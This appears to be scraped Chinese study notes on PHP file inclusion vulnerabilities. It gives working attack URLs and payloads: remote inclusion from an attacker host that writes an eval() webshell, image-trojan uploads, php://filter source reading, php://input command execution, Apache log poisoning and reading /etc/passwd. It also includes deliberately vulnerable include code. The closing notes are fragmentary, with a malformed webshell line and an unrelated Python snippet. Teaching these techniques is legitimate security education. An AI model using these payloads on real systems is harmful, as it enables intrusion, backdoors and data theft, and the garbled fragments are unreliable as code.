1. 程式人生 > >文件包含漏洞

文件包含漏洞

use att read font 加載 文件的 根目錄 暴露 提交數據

在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件泄露甚至惡意的代碼註入。

HP常見的導致文件包含的函數如下:include(),include_once(),require(),require_once(),fopen(),readfile()
使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麽任何擴展名都可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其源代碼。

要想成功利用文件包含漏洞,需要滿足下面兩個條件:
1.include()等函數通過動態變量的方式引入需要包含的文件。
2.用戶能夠控制該動態變量

二、遠程文件包含
如果PHP的配置選項allow_url_include為ON的話,則include/require函數是可以加載遠程文件的,這種漏洞被稱為遠程文件包含漏洞。

三、本地文件包含的利用技巧

1.讀取敏感文件
訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目標主機文件存在,並且有相應的權限,那麽就可以讀出文件的內容。反之,就會得到一個類似於;open_basedir restriction in effect的警告。
2.遠程包含Shell
如果目標主機allow_url_fopen選項是激活的,就可以嘗試遠程包含一句話木馬,如:http://www.attacker.com/echo.txt,代碼如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容為:
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上傳
假設已經上傳一句話圖片木馬到服務器,路徑為:/uploadfile/xxx.jpg
圖片代碼如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。
4.使用PHP封裝協議
4.1 使用封裝協議讀取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,得到經過Base64加密後的字符串,這段代碼就是Base64加密過後的PHP源代碼,解密後就可得到原本的“樣貌”。
4.2 寫入PHP文件
在allow_url_include為On時,構造URL:http://www.example.com/index.php?page=php://input,並且提交數據為:<?php system(‘net user‘);?>
會得到net user命令的結果。
5.包含Apache日誌文件
本地文件包含的利用。
Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>,操作這一步時,需要Burp,否則<,>,空格都會被轉碼。
隨後訪問http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用這種方式時,找到Apache的路徑是關鍵。

圖片木馬一般不會被web殺毒軟件查出來。

一句話木馬
<?php eval()$_post[1]; ?>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
include "$_GET[pate]";
<?php
echo ‘<meta http-equiv="Content-Type" content="text/html;charset=utf8"/>‘;

include "$_GET[page]";
?>

新建 1.php文件 把一句話木馬寫進去 ,把文件放入網站的根目錄 用?page= 111.txt 運行


http://127.0.0.1/11.php?page=ee.txt

php語言 問號後面表示變量
$a =$_get[‘page‘];

$a ="$_get[page]";
include $a;
<?php phpinfo();?>顯示配置信息

條件 php.ini文件中有 allow_url_include=on

a="加密密碼"
for i in a:
print(chr(ord(i)+幾),end=‘‘)

http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php

文件包含漏洞